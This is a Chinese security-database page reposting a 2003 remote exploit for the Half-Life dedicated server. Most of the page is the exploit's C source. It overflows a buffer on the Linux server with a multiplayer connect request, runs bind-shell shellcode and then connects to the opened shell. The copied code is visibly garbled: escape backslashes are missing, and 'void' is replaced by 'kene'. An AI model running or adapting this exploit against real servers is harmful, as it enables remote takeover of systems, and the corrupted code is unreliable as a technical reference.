Valve Software Half-Life Server 3.1.1.0 – Multiplayer Request Buffer Overflow

Valve Software Half-Life Server 3.1.1.0 – Multiplayer Request Buffer Overflow

漏洞ID 1054064 漏洞类型
发布时间 2003-07-29 更新时间 2003-07-29
图片[1]-Valve Software Half-Life Server 3.1.1.0 – Multiplayer Request Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-Valve Software Half-Life Server 3.1.1.0 – Multiplayer Request Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22969
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
// source: http://www.securityfocus.com/bid/8300/info
 
// Half-Life servers are prone to a buffer overflow that may be exploited by a malicious remote client. The vulnerability occurs because the software fails to sufficiently bounds-check client-supplied data during requests to join multiplayer games. This could allow attackers to execute code in the context of the vulnerable server.
 
// This vulnerability affects the server bundled with Half-Life and the free Dedicated Server for both Windows and Linux operating systems.

/*****************************************************************
 * hoagie_hlserver.c
 *
 * Remote exploit for Halflife-Servers.
 *
 * Binds a shell to port 30464/tcp and connects to it.
 *
 * Author: KnbykL <[email protected]>
 *
 * Thnx : All Soldier HbT
 *  
 * This hole was found by Auriemma Luigi.
 * Uses code from the proof-of-concept DoS-exploit by Auriemma Luigi.
 *
 * Tested with HL-Server v3.1.1.0. Works only with the Linux server
 * (though making a Win32-exploit should be trivial)
 *
 * How this exploit works:
 * There is a buffer on the stack that is being overwritten with
 * our supplied shellcode. Too bad that it lies on an address that
 * has 0xFF in it (e.g. 0xbfffe000) and half life filters these
 * characters out, so we can't write the address of the shellcode
 * there.  
 * Luckily, the function that copies the shellcode into the buffer
 * has the address of the buffer in %eax when it exits. So, we jump  
 * to the location 0x0804AE93 (which is the same in ALL half life
 * servers, thanks to the fact that it is a binary distrubtion)
 * where the instruction "call *%eax" is located. And so the shellcode
 * gets executed...
 *
 * Dil : Türkçe'min her zaman arkasýndayým.
 *     
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
 *
 *****************************************************************/
 
#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <time.h>
#include    <unistd.h>
#include    <sys/socket.h>
#include    <sys/types.h>
#include    <arpa/inet.h>
#include    <netdb.h>
 
#define VER         "0.1"
#define BUFFSZ      4096
#define PORT        27015
#define INFO        "xffxffxffxff" 
                    "infostringn"
#define GETCH       "xffxffxffxff" 
                    "getchallengen"
#define TIMEOUT     5    /* 5 seconds */
 
#define PICOFFSET 0xD0404
 
// 13*13+5=174
// 5*16+13+43+7*16+12=260
// 260-174 = 86 NOPs = 6*13+8
#define PAYLOAD    "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90x90x90x90x90x90x90x90x90x90" 
                   "x90x90x90x90" 
                   "x31xc0x40x40xcdx80x89xc0x85xc0x74x06x31" 
                   "xc0xb0x01xcdx80x31xc0x31xdbx31xc9x31xd2" 
                   "xb0x66xb3x01x51xb1x06x51xb1x01x51xb1x02" 
                   "x51x8dx0cx24xcdx80xb3x02xb1x02x31xc9x51" 
                   "x51x51x80xc1x77x66x51xb1x02x66x51x8dx0c" 
                   "x24xb2x10x52x51x50x8dx0cx24x89xc2x31xc0" 
                   "xb0x66xcdx80xb3x01x53x52x8dx0cx24x31xc0" 
                   "xb0x66x80xc3x03xcdx80x31xc0x50x50x52x8d" 
                   "x0cx24xb3x05xb0x66xcdx80x89xc3x31xc9x31" 
                   "xc0xb0x3fxcdx80x41x31xc0xb0x3fxcdx80x41" 
                   "x31xc0xb0x3fxcdx80x31xdbx53x68x6ex2fx73" 
                   "x68x68x2fx2fx62x69x89xe3x8dx54x24x08x31" 
                   "xc9x51x53x8dx0cx24x31xc0xb0x0bxcdx80x31" 
                   "xc0xb0x01xcdx80" 
/* EIP */          "%c%c%c%c%c%c%c%c%c%c%c%c"  
               // "BBBB"
/* PAYLOAD is 268 bytes! */
#define MODEL       "robo"
#define NAME        "]I[gore"
#define TOPCOLOR    "25"    /* 0-255, it's NOT important */
#define BOTTOMCOLOR "161"    /* 0-255, it's NOT important */
#define BOF1        "xffxffxffxff" 
                    "connect %d" 
                    " %s "" 
                    "\prot\2" 
                    "\unique\-1" 
                    "\raw\%08lx%08lx%08lx%08lx" 
                    "" "" 
                    "\model\" MODEL 
                    "\topcolor\" TOPCOLOR 
                    "\bottomcolor\" BOTTOMCOLOR 
                    "\rate\9999.000000" 
                    "\cl_updaterate\20" 
                    "\cl_lw\1" 
                    "\cl_lc\1" 
                    "\cl_dlmax\128" 
                    "\hud_classautokill\1" 
                    "\name\" NAME 
                    "\" PAYLOAD "\value" 
                    ""n"
#define BUGNUM      "" 
 
int exec_sh(int sockfd)
{
        char snd[4096],rcv[4096];
        fd_set rset;
        while(1)
        {
                FD_ZERO(&rset);
                FD_SET(fileno(stdin),&rset);
                FD_SET(sockfd,&rset);
                select(255,&rset,NULL,NULL,NULL);
                if(FD_ISSET(fileno(stdin),&rset))
                {
                        memset(snd,0,sizeof(snd));
                        fgets(snd,sizeof(snd),stdin);
                        write(sockfd,snd,strlen(snd));
                }
                if(FD_ISSET(sockfd,&rset))
                {
                        memset(rcv,0,sizeof(rcv));
                        if(read(sockfd,rcv,sizeof(rcv))<=0)
                                exit(0);
                        fputs(rcv,stdout);
                }
        }
}
 
int connect_sh(char *server)
{
        int sockfd,i;
        struct sockaddr_in sin;
    struct hostent *he;
        printf("Connect to the shelln");
        fflush(stdout);
        memset(&sin,0,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(30464);
    if((he=gethostbyname(server))<0) perror("gethostbyname"), exit(1);
    memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
        {
                printf("Can't create socketn");
                exit(0);
        }
        if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
        {
                printf("Can't connect to the shelln");
                exit(0);
        }
        return sockfd;
}
 
int getproto(unsigned char *buff);
int timeout2(int sock);
kene showinfostring(unsigned char *buff, int size);
u_long resolv(char *host);
kene std_err(kene);
 
 
int main(int argc, char *argv[]) {
    unsigned char    buffrecv[BUFFSZ],
                    buffsend[sizeof(BOF1) + 64],
                    challenge[16],
                    bug,
                    *bofstr,
                    *stri,
                    *strf;
    struct    sockaddr_in     peer;
    int             sd,
                    err,
                    rlen,
                    bufflen,
                    proto;
 
    unsigned long offset;
 
    setbuf(stdout, NULL);
 
    if(argc < 2) {
        printf("nUsage: %s <host> <port>nn", argv[0], PORT);
        exit(1);
    }
 
    printf("OK team, follow my command.n");
 
    srand(time(NULL));
 
    bofstr=BOF1;
 
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(atoi(argv[2]));
    // offset=strtoul(argv[3],NULL,16);
    peer.sin_family      = AF_INET;
    rlen                 = sizeof(peer);
 
    offset=0x0804AE93;   // call eax
    printf("Using offset 0x%08x...n",offset);
 
 
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
 
 
 
        /* GET INFORMATIONS */
    err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, rlen);
    if(err < 0) std_err();
    err = timeout2(sd);
    if(err < 0) {
        fputs("nError: socket timeoutn", stdout);
        exit(1);
    }
    err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
    if(err < 0) std_err();
    buffrecv[err] = 0x00;
 
    proto = getproto(buffrecv);
    showinfostring(buffrecv, err);
 
 
 
        /* GET CHALLENGE NUMBER */
    err = sendto(sd, GETCH, sizeof(GETCH) - 1, 0, (struct sockaddr *)&peer, rlen);
    if(err < 0) std_err();
    err = timeout2(sd);
    if(err < 0) {
        fputs("nError: socket timeoutn", stdout);
        exit(1);
    }
    err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
    if(err < 0) std_err();
    buffrecv[err] = 0x00;
 
    stri = strchr(buffrecv, 0x20);
    if(!stri) stri = buffrecv;
    strf = strchr(stri + 1, 0x20);
    if(!strf) strf = buffrecv + err;
    *strf = 0x00;
    strncpy(challenge, stri, 16);
    printf("Challenge: %sn", challenge);
 
 
    bufflen = snprintf(buffsend,
            sizeof(BOF1) + 64,
            bofstr,
            proto,
            challenge,
            (long)(rand() << 1) + (rand() & 0xf),    /* 31bit */
            (long)(rand() << 1) + (rand() & 0xf),
            (long)(rand() << 1) + (rand() & 0xf),
            (long)(rand() << 1) + (rand() & 0xf),
        offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF,
        offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF,
        offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF);
 
 
    if(bufflen < 0) {
        fputs("nError: cannot allocate buffer in memoryn", stdout);
        exit(1);
    }
 
    printf("Sending deadly packet ... stand byn");
    err = sendto(sd, buffsend, bufflen, 0, (struct sockaddr *)&peer, rlen);
    if(err < 0) std_err();
    err = timeout2(sd);
    if(err < 0) {
        fputs("nResult: The remote server IS vulnerable!!!n", stdout);
        exec_sh(connect_sh(argv[1]));
        return(0);
    }
    err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
    if(err < 0) std_err();
    buffrecv[err] = 0x00;
    printf("Connect: %sn", buffrecv + 5);
 
    close(sd);
 
 
    fputs("nResult: The server doesn't seems to be vulnerablenn", stdout);
 
    return(0);
}
 
int getproto(unsigned char *buff) {
    int        p;
    unsigned char    *ptr;
 
    ptr = strstr(buff + 23, "protocol");
    if(ptr) {
        p = atoi(ptr + 9);
    } else {
        fputs("nError: No protocol informations in the answer of the servern", stdout);
        exit(1);
    }
 
    return(p);
}     
 
kene showinfostring(unsigned char *buff, int size) {
    int        nt = 1,
            len;
    unsigned char    *string;
 
    fputs("n--------------------------------------------------n", stdout);
 
    if(memcmp(buff + 1, "xffxffxff", 3)) {
        fputs("nError: Bad answer from the server (it is not a true server)n", stdout);
        exit(1);
    }
 
    len = strlen(buff);
    if(len < size) buff += len + 1;
 
    while(1) {
        string = strchr(buff, '\');
        if(!string) break;
 
        *string = 0x00;
 
 
        /* n or t */
        if(!nt) {
            printf("%s: ", buff);
            nt++;
        } else {
            printf("%sn", buff);
            nt = 0;
        }
 
 
        buff = string + 1;
    }
 
    printf("%sn", buff);
}
 
int timeout2(int sock) {
    struct    timeval    timeout;
    fd_set    fd_read;
    int    err;
 
 
    timeout.tv_sec = TIMEOUT;
    timeout.tv_usec = 0;
 
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
    if(err < 0) std_err();
    if(err == 0) return(-1);
    return(0);
}
 
u_long resolv(char *host) {
    struct        hostent    *hp;
    u_long        host_ip;
 
    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolve hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
 
    return(host_ip);
}
 
kene std_err(kene)
{
        perror("nError");
        exit(1);
}

相关推荐: wu-ftpd守护程序PASV内存转储命令执行漏洞

wu-ftpd守护程序PASV内存转储命令执行漏洞 漏洞ID 1207631 漏洞类型 未知 发布时间 1996-10-16 更新时间 1996-10-16 CVE编号 CVE-1999-0075 CNNVD-ID CNNVD-199610-006 漏洞平台 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享